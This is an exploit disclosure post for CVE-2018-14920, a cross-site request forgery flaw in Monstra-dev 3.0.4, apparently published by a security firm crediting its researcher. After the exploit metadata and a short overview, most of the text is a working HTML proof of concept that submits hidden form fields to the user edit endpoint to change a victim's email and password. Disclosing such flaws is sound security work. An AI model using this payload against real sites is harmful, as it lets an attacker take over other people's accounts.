CVE-2018-14920 : Monstra-Dev Cross Site Request Forgery

CVE-2018-14920 discovered by Nainsi Gupta who is the member of ICSS. It is an achievement for Indian Cyber Security Solutions. The Exploit details are as follows:

Exploit Title: Monstra-Dev Cross Site Request Forgery

Date: 04-08-2018

CVE: CVE-2018-14920

Author: Nainsi Gupta

Vendor Homepage: http://monstra.org/

Product Name: Monstra-dev

Version: 3.0.4

Tested on: Windows 10 (Firefox/Chrome)

Overview:

CSRF vulnerability in admin/user/edit in Monstra-dev 3.0.4 allows an attacker to take over a user account by modifying user’s data such as email and password

Proof Of Concept : CSRF

To exploit this vulnerability, victim need to be logged in at target site namely victim.com and visit crafted site made by attacker namely attacker.com. Then an authenticated POST request will be generated from victim browser and it will be submit to victim.com to modify user’s data to attacker desired value.

<html>
<!– CSRF PoC –>
<body>
<script>history.pushState(”, ”, ‘/’)</script>
<form action=”http://localhost/monstra-dev/users/2/edit” method=”POST”>
<input type=”hidden” name=”csrf” value=”7e172c2a395495f3e4c05912cb9f3f7f0ed8344e” />
<input type=”hidden” name=”user_id” value=”2″ />
<input type=”hidden” name=”login” value=”guptanainisi95″ />
<input type=”hidden” name=”firstname” value=”sd” />
<input type=”hidden” name=”lastname” value=”jkh” />
<input type=”hidden” name=”email” value=”guptanainsi97@gmail.com” />
<input type=”hidden” name=”twitter” value=”” />
<input type=”hidden” name=”skype” value=”” />
<input type=”hidden” name=”about_me” value=”ss” />
<input type=”hidden” name=”new_password” value=”qaz” />
<input type=”hidden” name=”edit_profile” value=”Save” />
<input type=”submit” value=”Submit request” />
</form>
</body>
</html>